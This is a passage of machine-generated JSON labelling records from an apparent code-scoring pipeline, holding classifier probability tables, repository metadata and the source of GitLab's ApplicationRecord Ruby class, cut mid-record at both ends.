0.00017810037941274088, "Customer Support Page": 1.7279514379161276e-05, "Q&A Forum": 1.135850125371421e-05, "Discussion Thread": 1.299785767674911e-05, "Comment Section": 3.539240853071573e-05, "Missing Content": 0.00021551349576435927, "Knowledge Article": 0.0001241158217096209, "Legal Notices": 5.796358409465219e-05, "News Article": 2.0697316360902978e-05, "Organizational Announcement": 1.749113810900721e-05, "Nonfiction Writing": 2.817500383374862e-05, "Organizational About Page": 3.215684780533239e-05, "Personal About Page": 2.2664321208064695e-05, "Personal Blog": 1.6177861693231063e-05, "Product Page": 1.4966493078516152e-05, "Spam / Ads": 2.5253610108556575e-05, "Structured Data": 0.0009854960390357575, "Technical Writing": 0.0018109700708548626, "Transcript / Interview": 3.0561795425914054e-05, "Tutorial / How-To Guide": 0.0005788357048928145, "User Reviews": 1.2176245288706223e-05, "NONE": 0.9956803668233631}, "structured_records": {"false": 0.9961939150766036, "true": 0.003806084923396434}, "procedural_steps": {"false": 0.9964515195119574, "true": 0.0035484804880426156}, "worked_solution": {"false": 0.996354265971736, "true": 0.0036457340282639353}, "contextual_dialogue": {"false": 0.9999867129362576, "true": 1.3287063742406898e-05}, "content_quality": {"-2": 0.026172235041897102, "-1": 0.1302104782286122, "0": 0.3963221778197472, "1": 0.36341870673070514, "2": 0.08387640217903841}, "noise_severity": {"0": 0.9881326403432598, "1": 0.010262046126652264, "2": 0.0010520166149504905, "3": 0.0003451774231476542, "4": 0.00020811949198972534}, "missing_content_severity": {"0": 0.9222669353584872, "1": 0.05278004261181902, "2": 0.020089886009460333, "3": 0.0038315534541559625, "4": 0.001031582566077531}, "factual_density": {"0": 0.007304609490280585, "1": 0.012955152937103037, "2": 0.10558190401275022, "3": 0.32703023761168076, "4": 0.5471280959481855}, "pretraining_utility": {"-2": 0.008623297851943502, "-1": 0.09071678631884976, "0": 0.41709230932002234, "1": 0.40080478716721396, "2": 0.08276281934197054}, "math_density": {"0": 0.6990053935992214, "1": 0.13918673486798908, "2": 0.050873392468262724, "3": 0.032200920423997255, "4": 0.07873355864052962}, "code_density": {"0": 0.0002474842473867684, "1": 0.00047075083397992394, "2": 0.011948751489701951, "3": 0.07195107733325726, "4": 0.9153819360956741}, "reasoning_density": {"0": 0.5004652183310212, "1": 0.06070747161763038, "2": 0.13504425408162635, "3": 0.1393949470859396, "4": 0.1643881088837825}, "education_level": {"none": 0.002460830725090181, "0": 0.007250667442815372, "1": 0.23769172580863612, "2": 0.7335076624775015, "3": 0.016871101260080772, "4": 0.0022180122858760395}, "creative_writing_quality": {"not_applicable": 0.9986783566512429, "-2": 0.0001890210754755502, "-1": 0.00041684915486714575, "0": 0.0006229049380132194, "1": 6.57967969220652e-05, "2": 2.7071383479102333e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010919019288592037, "Art & Design": 0.0001812685512331105, "Law & Crime": 0.00013140439381973323, "Education & Careers": 9.68206768986346e-05, "Entertainment & Media": 0.00032802309012073215, "Fashion & Beauty": 8.960351640029003e-05, "Business, Economics & Finance": 0.00012261524603640462, "Food & Dining": 8.313662630712728e-05, "Games & Gaming": 0.08322028265578173, "Electronics & Hardware": 0.00010738039583714458, "Health, Healthcare & Wellness": 8.594778648328234e-05, "History & Geography": 0.00012040137427375824, "Home, Pets & Hobbies": 0.00016092803391619883, "Industry & Production": 9.502490311412063e-05, "Language, Literature & Philosophy": 0.00011197129046339295, "Politics & Government": 4.506284720113374e-05, "Religion & Spirituality": 9.146511935429665e-05, "Science, Mathematics & Engineering": 0.0007014308908723566, "Relationships & Community": 6.883502338012294e-05, "Software Usage & Applications": 0.00036006675851630465, "Programming & Software Engineering": 0.9130416284522526, "Sports & Fitness": 0.00017646806179638349, "Vehicles & Transportation": 4.787648882638384e-05, "Travel & Tourism": 0.00010561716353088656, "Other / Uncovered Subject": 0.0001863974626196411, "Unknown / Insufficient Content": 0.00013115299807835775}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007308779855956386, "Art & Design": 0.0005866463788912354, "Law & Crime": 0.0005413606250909018, "Education & Careers": 0.0003135335437650555, "Entertainment & Media": 0.0009396104056012379, "Fashion & Beauty": 0.00027972763180244637, "Business, Economics & Finance": 0.0004469740694074154, "Food & Dining": 0.0002428355773047753, "Games & Gaming": 0.24044439863131603, "Electronics & Hardware": 0.00034763332916762504, "Health, Healthcare & Wellness": 0.00031464603179861395, "History & Geography": 0.0003379021763134666, "Home, Pets & Hobbies": 0.00047507346657166483, "Industry & Production": 0.00023493463763248691, "Language, Literature & Philosophy": 0.00026714844065990384, "Politics & Government": 0.00018420751631281727, "Religion & Spirituality": 0.0003386393173033269, "Science, Mathematics & Engineering": 0.0036522699709918525, "Relationships & Community": 0.0001869704343914742, "Software Usage & Applications": 0.0006958294920246705, "Programming & Software Engineering": 0.0413379127523727, "Sports & Fitness": 0.000315743044610278, "Vehicles & Transportation": 0.000127917466188029, "Travel & Tourism": 0.0004276546160261808, "Other / Uncovered Subject": 0.0004967025058839684, "NONE": 0.7057328499529762}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9530, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9530, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:15.396774+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "85929024-9870-43d2-bd85-7e91b2636596", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ce1c33744447c75e92f9458e159bca7f59de5d99fe79f10e87cb5ec48daf1bef", "source_metadata": {"uuid": "85929024-9870-43d2-bd85-7e91b2636596", "repo_name": "Dullone/connect-four", "relative_path": "connect_four.rb", "category": "ALGO", "algo_rel_score": 0.9915053248405457, "quality_score": 3.8582379817962646, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2015-05-23T00:32:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "4271e68526dd3eb417f5c29b0c3af0a7e1d1dfbf", "size_bytes": 3619, "file_timestamp": 1432341397, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "912fd3c6c9c35b2bd5d60defe19ddad2e3bda323"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2015-05-23T00:32:59.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "4271e68526dd3eb417f5c29b0c3af0a7e1d1dfbf", "size_bytes": 3619, "file_timestamp": 1432341397, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "912fd3c6c9c35b2bd5d60defe19ddad2e3bda323", "url": "https://github.com/Dullone/connect-four/blob/912fd3c6c9c35b2bd5d60defe19ddad2e3bda323/connect_four.rb"}, "gpt4o_tokens": 1012, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.34861656277637554, "noise_severity": 0.014234089593955111, "missing_content_severity": 0.10858080525751769, "factual_density": 3.3937220575903875, "pretraining_utility": 0.45836704382841825, "math_density": 0.6524705156386248, "code_density": 3.901749230195852, "reasoning_density": 1.406533256573832, "education_level": 1.768544492312758, "creative_writing_quality": -0.5106912863994081}, "score_applicability": {"education_level": 0.9975391692749098, "creative_writing_quality": 0.0013216433487570828}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/gitlabhq/gitlabhq/blob/9c7ce66dac0adbe72a9578939d941c275db015ff/app/models/application_record.rb", "id": "ruby-0-982684b6f6502ae86a4d217869ace798", "text": "# frozen_string_literal: true\n\nclass ApplicationRecord < ActiveRecord::Base\n include DisablesSti\n include DatabaseReflection\n include Transactions\n include LegacyBulkInsert\n include CrossDatabaseModification\n include Gitlab::SensitiveAttributes\n include Gitlab::SensitiveSerializableHash\n include ResetOnColumnErrors\n include HasCheckConstraints\n include IgnorableColumns\n include PopulatesShardingKey\n include EachBatch\n\n self.abstract_class = true\n\n # We should avoid using pluck https://docs.gitlab.com/ee/development/sql.html#plucking-ids\n # but, if we are going to use it, let's try and limit the number of records\n MAX_PLUCK = 1_000\n\n alias_method :reset, :reload\n\n def self.without_order\n reorder(nil)\n end\n\n def self.id_in(ids)\n where(id: ids)\n end\n\n def self.primary_key_in(values)\n where(primary_key => values)\n end\n\n def self.iid_in(iids)\n where(iid: iids)\n end\n\n def self.id_not_in(ids)\n where.not(id: ids)\n end\n\n def self.pluck_primary_key\n where(nil).pluck(primary_key)\n end\n\n def self.safe_ensure_unique(retries: 0)\n transaction(requires_new: true) do # rubocop:disable Performance/ActiveRecordSubtransactions\n yield\n end\n rescue ActiveRecord::RecordNotUnique\n if retries > 0\n retries -= 1\n retry\n end\n\n false\n end\n\n def self.safe_find_or_create_by!(*args, &block)\n safe_find_or_create_by(*args, &block).tap do |record|\n raise ActiveRecord::RecordNotFound unless record.present?\n\n record.validate! unless record.persisted?\n end\n end\n\n # Start a new transaction with a shorter-than-usual statement timeout. This is\n # currently one third of the default 15-second timeout with a 500ms buffer\n # to allow callers gracefully handling the errors to still complete within\n # the 5s target duration of a low urgency request.\n def self.with_fast_read_statement_timeout(timeout_ms = 4500)\n ::Gitlab::Database::LoadBalancing::SessionMap.current(load_balancer).fallback_to_replicas_for_ambiguous_queries do\n transaction(requires_new: true) do # rubocop:disable Performance/ActiveRecordSubtransactions\n connection.exec_query(\"SET LOCAL statement_timeout = #{timeout_ms}\")\n\n yield\n end\n end\n end\n\n def self.safe_find_or_create_by(*args, &block)\n record = find_by(*args)\n return record if record.present?\n\n # We need to use `all.create` to make this implementation follow `find_or_create_by` which delegates this in\n # https://github.com/rails/rails/blob/v6.1.3.2/activerecord/lib/active_record/querying.rb#L22\n #\n # When calling this method on an association, just calling `self.create` would call `ActiveRecord::Persistence.create`\n # and that skips some code that adds the newly created record to the association.\n transaction(requires_new: true) { all.create(*args, &block) } # rubocop:disable Performance/ActiveRecordSubtransactions\n rescue ActiveRecord::RecordNotUnique => e\n find_by(*args).tap do |result|\n # It's unusual if the find_by was not able to find the record that the\n # database claimed already existed. There could be some underlying issue,\n # such as a database trigger that inserts a record into another table.\n # Log this error so that the full database error can be investigated.\n Gitlab::ErrorTracking.track_exception(e, args: args) unless result\n end\n end\n\n def self.current_transaction\n connection.current_transaction\n end\n\n def create_or_load_association(association_name)\n association(association_name).create unless association(association_name).loaded?\n rescue ActiveRecord::RecordNotUnique, PG::UniqueViolation\n association(association_name).reader\n end\n\n def self.underscore\n @underscore ||= to_s.underscore\n end\n\n def self.where_exists(query)\n where('EXISTS (?)', query.select(1))\n end\n\n def self.where_not_exists(query)\n where('NOT EXISTS (?)', query.select(1))\n end\n\n def self.declarative_enum(enum_mod)\n enum enum_mod.key, enum_mod.values\n end\n\n def self.cached_column_list\n column_names.map { |column_name| arel_table[column_name] }\n end\n\n def self.default_select_columns\n if ignored_columns.any?\n cached_column_list\n else\n arel_table[Arel.star]\n end\n end\n\n # This method has been removed in Rails 7.1\n # However, application relies on it in case-when usages with objects wrapped in presenters\n def self.===(object)\n object.is_a?(self)\n end\n\n def self.nullable_column?(column_name)\n columns.find { |column| column.name == column_name }.null &&\n !not_null_check?(column_name)\n end\n\n def readable_by?(user)\n Ability.allowed?(user, :\"read_#{to_ability_name}\", self)\n end\n\n def to_ability_name\n model_name.element\n end\nend\n", "text_preview": "# frozen_string_literal: true class ApplicationRecord < ActiveRecord::Base include DisablesSti include DatabaseReflection include Transactions include LegacyBulkInsert include CrossDatabaseModification include Gitlab::SensitiveAttributes in", "input_sha256": "e4ee2525e7ed4499b444dfe7c777c07231a1ce5e3a684464701d5b11cfa22be9", "text_sha256": "982684b6f6502ae86a4d217869ace79814cc77ecf749a330322a333e73526359", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16126, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2912184758763552, "noise_severity": 0.017309903024764768, "missing_content_severity": 0.010431507697858357, "factual_density": 3.5856546650274606, "pretraining_utility": 0.549051376706595, "math_density": 0.04913356306025407, "code_density": 3.9200467083014683, "reasoning_density": 0.5019012710587514, "education_level": 2.931502698386224, "creative_writing_quality": -0.1377819036392766}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0025388681824588533, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9983333399690851, "secondary": 0.989753266746666, "tertiary": 0.9924025205022752, "structured_records": 0.0034164898979281324, "procedural_steps": 0.0030955695431030077, "worked_solution": 0.0007081091557765076, "contextual_dialogue": 4.962091056542171e-06, "content_quality": 0.5576877776045117, "noise_severity": 0.9855750808126961, "missing_content_severity": 0.9913070769184513, "factual_density": 0.6547122208562166, "pretraining_utility": 0.46096224444025524, "math_density": 0.959055364116455, "code_density": 0.9333722569178903, "reasoning_density": 0.5817489407843739, "education_level": 0.5498817399830306, "creative_writing_quality": 0.9996328350937955, "primary_topic": 0.9988415777052487, "secondary_topic": 0.9873309438903914}, "probability_margin": {"primary": 0.9975538569618045, "secondary": 0.9850138620061385, "tertiary": 0.9889416292556149, "education_level": 0.4105509807250134, "creative_writing_quality": 0.9995367097902408, "primary_topic": 0.9984441906503518, "secondary_topic": 0.9804479400084275}, "raw_probabilities": {"primary": {"Academic Writing": 1.777119495809117e-05, "Content Listing": 1.0341630026566316e-05, "Creative Writing": 6.229230875772061e-06, "Customer Support Page": 5.794184166194784e-06, "Q&A Forum": 5.259110209805414e-06, "Discussion Thread": 3.536545366590037e-06, "Comment Section": 6.001022504942412e-06, "Missing Content": 1.0648510412703626e-05, "Knowledge Article": 6.356491154091173e-05, "Legal Notices": 1.5599513690098285e-05, "News Article": 2.1829933237313724e-06, "Organizational Announcement": 6.584545051567725e-06, "Nonfiction Writing": 4.821382260124076e-06, "Organizational About Page": 5.7461828572747e-06, "Personal About Page": 4.017715129271403e-06, "Personal Blog": 3.6312507845040046e-06, "Product Page": 3.736866659235405e-06, "Spam / Ads": 4.9273653691306325e-06, "Structured Data": 0.000483101124637829, "Technical Writing": 0.9984027841370399, "Transcript / Interview": 7.245017044010849e-06, "Tutorial / How-To Guide": 7.454503391966304e-05, "User Reviews": 3.0033569367813785e-06, "Other / Unknown": 0.0008489271752352745}, "secondary": {"Academic Writing": 9.529627619441791e-05, "Content Listing": 6.014604233302193e-05, "Creative Writing": 5.9481811875350384e-05, "Customer Support Page": 3.9701840622746906e-05, "Q&A Forum": 2.3456142609615323e-05, "Discussion Thread": 2.0658893444314924e-05, "Comment Section": 6.131290076633523e-05, "Missing Content": 0.00016176513718953615, "Knowledge Article": 0.0010024814040995899, "Legal Notices": 9.66662092102131e-05, "News Article": 3.309465008566991e-05, "Organizational Announcement": 4.265861528120348e-05, "Nonfiction Writing": 4.6722907938398616e-05, "Organizational About Page": 3.9947188169608004e-05, "Personal About Page": 2.8792314313471803e-05, "Personal Blog": 2.5960599578372918e-05, "Product Page": 2.2983163408846702e-05, "Spam / Ads": 4.2074324781367725e-05, "Structured Data": 0.0024128544568590136, "Technical Writing": 0.005166351959416393, "Transcript / Interview": 4.4204077710675845e-05, "Tutorial / How-To Guide": 0.00027787692615747274, "User Reviews": 1.529819239953046e-05, "NONE": 0.9901802139655549}, "tertiary": {"Academic Writing": 4.9511065587593944e-05, "Content Listing": 3.841299445688466e-05, "Creative Writing": 3.8553152820006393e-05, "Customer Support Page": 3.2017973307794016e-05, "Q&A Forum": 1.6837782995904914e-05, "Discussion Thread": 1.4595773999287e-05, "Comment Section": 5.367588454883752e-05, "Missing Content": 0.00013865786298075485, "Knowledge Article": 0.0009660963982711512, "Legal Notices": 0.00020972893682096085, "News Article": 2.619735993724737e-05, "Organizational Announcement": 3.8422813485937675e-05, "Nonfiction Writing": 4.141545227992964e-05, "Organizational About Page": 3.90559772695259e-05, "Personal About Page": 1.8532543019420545e-05, "Personal Blog": 2.074291804377164e-05, "Product Page": 1.7381991153332384e-05, "Spam / Ads": 2.9800362089151603e-05, "Structured Data": 0.001283059462981401, "Technical Writing": 0.0037774528923988464, "Transcript / Interview": 2.7889085476207364e-05, "Tutorial / How-To Guide": 0.00039101334047530475, "User Reviews": 1.1865827587112183e-05, "NONE": 0.9927190821480137}, "structured_records": {"false": 0.9965835101020719, "true": 0.0034164898979281324}, "procedural_steps": {"false": 0.996904430456897, "true": 0.0030955695431030077}, "worked_solution": {"false": 0.9992918908442235, "true": 0.0007081091557765076}, "contextual_dialogue": {"false": 0.9999950379089435, "true": 4.962091056542171e-06}, "content_quality": {"-2": 0.002344729713781986, "-1": 0.004961211203936482, "0": 0.10282148394989643, "1": 0.47887600375691447, "2": 0.41099657137547063}, "noise_severity": {"0": 0.984153966867115, "1": 0.01495450914980978, "2": 0.0005078097177714612, "3": 0.00019508262180299927, "4": 0.000188631643500767}, "missing_content_severity": {"0": 0.9938580786002237, "1": 0.0030672815835127657, "2": 0.0020607862138514424, "3": 0.0008127607230058151, "4": 0.00020109287940631534}, "factual_density": {"0": 0.002128812665585734, "1": 0.0047871320621353675, "2": 0.05399352448926371, "3": 0.28348163914526353, "4": 0.6556088916377516}, "pretraining_utility": {"-2": 0.007586909975846398, "-1": 0.07842281471633901, "0": 0.3692906056223321, "1": 0.44675132799633804, "2": 0.09794834168914436}, "math_density": {"0": 0.9629062619399663, "1": 0.031532668585661464, "2": 0.001798380354603624, "3": 0.0010466227136895908, "4": 0.00271606640607915}, "code_density": {"0": 0.00019374672160165935, "1": 0.0003589036730641203, "2": 0.007254282978977571, "3": 0.06359302783497756, "4": 0.928600038791379}, "reasoning_density": {"0": 0.6568341099729825, "1": 0.22555946659118645, "2": 0.08929880860016155, "3": 0.015486272075435981, "4": 0.012821342760233459}, "education_level": {"none": 0.0008995941376326979, "0": 0.0012193216261405654, "1": 0.0030188042310187765, "2": 0.21435046926084542, "3": 0.6249014499858588, "4": 0.15561036075850376}, "creative_writing_quality": {"not_applicable": 0.9996940292448296, "-2": 3.356452199361141e-05, "-1": 5.334762443554281e-05, "0": 0.00015731945458886558, "1": 4.515887298725113e-05, "2": 1.658028116509708e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 1.5874838744230168e-05, "Art & Design": 1.3973402452777023e-05, "Law & Crime": 1.0265056249197909e-05, "Education & Careers": 1.1786039908138587e-05, "Entertainment & Media": 8.916594219044466e-06, "Fashion & Beauty": 5.517348227531418e-06, "Business, Economics & Finance": 2.6906890475603278e-05, "Food & Dining": 6.096949334961886e-06, "Games & Gaming": 2.5343473015458285e-05, "Electronics & Hardware": 4.429561170100568e-05, "Health, Healthcare & Wellness": 7.740424275038139e-06, "History & Geography": 1.035923499842981e-05, "Home, Pets & Hobbies": 7.351141217953626e-06, "Industry & Production": 1.1383672510470034e-05, "Language, Literature & Philosophy": 2.0355489947103532e-05, "Politics & Government": 7.2205716174790986e-06, "Religion & Spirituality": 1.2048330454677708e-05, "Science, Mathematics & Engineering": 0.00018802838484353141, "Relationships & Community": 7.438854658400366e-06, "Software Usage & Applications": 0.00044194175854122544, "Programming & Software Engineering": 0.998886132408893, "Sports & Fitness": 1.7253828658200932e-05, "Vehicles & Transportation": 6.168706467585461e-06, "Travel & Tourism": 1.819743350914121e-05, "Other / Uncovered Subject": 0.00015602467752988324, "Unknown / Insufficient Content": 3.337887754986665e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 9.075406615297557e-05, "Art & Design": 7.357942482344358e-05, "Law & Crime": 9.810603853417955e-05, "Education & Careers": 6.041279360119567e-05, "Entertainment & Media": 5.591673068581961e-05, "Fashion & Beauty": 2.999939593554234e-05, "Business, Economics & Finance": 0.00021176197143161555, "Food & Dining": 2.8580860097248774e-05, "Games & Gaming": 6.88541606417597e-05, "Electronics & Hardware": 0.00011573891146027841, "Health, Healthcare & Wellness": 3.380654821887672e-05, "History & Geography": 3.386823201986149e-05, "Home, Pets & Hobbies": 2.2965015842582262e-05, "Industry & Production": 2.8823378775182113e-05, "Language, Literature & Philosophy": 4.719355908821916e-05, "Politics & Government": 3.895896077264125e-05, "Religion & Spirituality": 4.8276544042372753e-05, "Science, Mathematics & Engineering": 0.001862836430591275, "Relationships & Community": 2.4423935946099045e-05, "Software Usage & Applications": 0.0015753654220299338, "Programming & Software Engineering": 0.007370275270794998, "Sports & Fitness": 3.207758847400347e-05, "Vehicles & Transportation": 1.5040941710452407e-05, "Travel & Tourism": 5.8322886415621054e-05, "Other / Uncovered Subject": 0.0001558456526912423, "NONE": 0.9878182152792225}}, "probabilities": {"primary": {"Academic Writing": 1.7771194958091175e-05, "Content Listing": 1.0341630026566317e-05, "Creative Writing": 6.229230875772062e-06, "Customer Support Page": 5.7941841661947844e-06, "Q&A Forum": 5.259110209805415e-06, "Discussion Thread": 3.5365453665900376e-06, "Comment Section": 6.001022504942413e-06, "Missing Content": 1.0648510412703628e-05, "Knowledge Article": 6.356491154091174e-05, "Legal Notices": 1.559951369009829e-05, "News Article": 2.182993323731373e-06, "Organizational Announcement": 6.584545051567726e-06, "Nonfiction Writing": 4.8213822601240765e-06, "Organizational About Page": 5.7461828572747005e-06, "Personal About Page": 4.0177151292714036e-06, "Personal Blog": 3.631250784504005e-06, "Product Page": 3.7368666592354053e-06, "Spam / Ads": 4.927365369130633e-06, "Structured Data": 0.0004831011246378291, "Technical Writing": 0.99840278413704, "Transcript / Interview": 7.24501704401085e-06, "Tutorial / How-To Guide": 7.454503391966306e-05, "User Reviews": 3.003356936781379e-06, "Other / Unknown": 0.0008489271752352746}, "secondary": {"Academic Writing": 9.529627619441791e-05, "Content Listing": 6.014604233302193e-05, "Creative Writing": 5.9481811875350384e-05, "Customer Support Page": 3.9701840622746906e-05, "Q&A Forum": 2.3456142609615323e-05, "Discussion Thread": 2.0658893444314924e-05, "Comment Section": 6.131290076633523e-05, "Missing Content": 0.00016176513718953615, "Knowledge Article": 0.0010024814040995899, "Legal Notices": 9.66662092102131e-05, "News Article": 3.309465008566991e-05, "Organizational Announcement": 4.265861528120348e-05, "Nonfiction Writing": 4.6722907938398616e-05, "Organizational About Page": 3.9947188169608004e-05, "Personal About Page": 2.8792314313471803e-05, "Personal Blog": 2.5960599578372918e-05, "Product Page": 2.2983163408846702e-05, "Spam / Ads": 4.2074324781367725e-05, "Structured Data": 0.0024128544568590136, "Technical Writing": 0.005166351959416393, "Transcript / Interview": 4.4204077710675845e-05, "Tutorial / How-To Guide": 0.00027787692615747274, "User Reviews": 1.529819239953046e-05, "NONE": 0.9901802139655549}, "tertiary": {"Academic Writing": 4.9511065587593944e-05, "Content Listing": 3.841299445688466e-05, "Creative Writing": 3.8553152820006393e-05, "Customer Support Page": 3.2017973307794016e-05, "Q&A Forum": 1.6837782995904914e-05, "Discussion Thread": 1.4595773999287e-05, "Comment Section": 5.367588454883752e-05, "Missing Content": 0.00013865786298075485, "Knowledge Article": 0.0009660963982711512, "Legal Notices": 0.00020972893682096085, "News Article": 2.619735993724737e-05, "Organizational Announcement": 3.8422813485937675e-05, "Nonfiction Writing": 4.141545227992964e-05, "Organizational About Page": 3.90559772695259e-05, "Personal About Page": 1.8532543019420545e-05, "Personal Blog": 2.074291804377164e-05, "Product Page": 1.7381991153332384e-05, "Spam / Ads": 2.9800362089151603e-05, "Structured Data": 0.001283059462981401, "Technical Writing": 0.0037774528923988464, "Transcript / Interview": 2.7889085476207364e-05, "Tutorial / How-To Guide": 0.00039101334047530475, "User Reviews": 1.1865827587112183e-05, "NONE": 0.9927190821480137}, "structured_records": {"false": 0.9965835101020719, "true": 0.0034164898979281324}, "procedural_steps": {"false": 0.996904430456897, "true": 0.0030955695431030077}, "worked_solution": {"false": 0.9992918908442235, "true": 0.0007081091557765076}, "contextual_dialogue": {"false": 0.9999950379089435, "true": 4.962091056542171e-06}, "content_quality": {"-2": 0.002344729713781986, "-1": 0.004961211203936482, "0": 0.10282148394989643, "1": 0.47887600375691447, "2": 0.41099657137547063}, "noise_severity": {"0": 0.984153966867115, "1": 0.01495450914980978, "2": 0.0005078097177714612, "3": 0.00019508262180299927, "4": 0.000188631643500767}, "missing_content_severity": {"0": 0.9938580786002237, "1": 0.0030672815835127657, "2": 0.0020607862138514424, "3": 0.0008127607230058151, "4": 0.00020109287940631534}, "factual_density": {"0": 0.0021288126655857344, "1": 0.004787132062135368, "2": 0.053993524489263714, "3": 0.2834816391452636, "4": 0.6556088916377517}, "pretraining_utility": {"-2": 0.007586909975846399, "-1": 0.07842281471633902, "0": 0.3692906056223322, "1": 0.4467513279963381, "2": 0.09794834168914437}, "math_density": {"0": 0.9629062619399661, "1": 0.03153266858566146, "2": 0.0017983803546036236, "3": 0.0010466227136895906, "4": 0.0027160664060791495}, "code_density": {"0": 0.00019374672160165938, "1": 0.0003589036730641204, "2": 0.007254282978977572, "3": 0.06359302783497757, "4": 0.9286000387913791}, "reasoning_density": {"0": 0.6568341099729825, "1": 0.22555946659118645, "2": 0.08929880860016155, "3": 0.015486272075435981, "4": 0.012821342760233459}, "education_level": {"none": 0.0008995941376326979, "0": 0.0012193216261405654, "1": 0.0030188042310187765, "2": 0.21435046926084542, "3": 0.6249014499858588, "4": 0.15561036075850376}, "creative_writing_quality": {"not_applicable": 0.9996940292448296, "-2": 3.356452199361141e-05, "-1": 5.334762443554281e-05, "0": 0.00015731945458886558, "1": 4.515887298725113e-05, "2": 1.658028116509708e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 1.5874838744230168e-05, "Art & Design": 1.3973402452777023e-05, "Law & Crime": 1.0265056249197909e-05, "Education & Careers": 1.1786039908138587e-05, "Entertainment & Media": 8.916594219044466e-06, "Fashion & Beauty": 5.517348227531418e-06, "Business, Economics & Finance": 2.6906890475603278e-05, "Food & 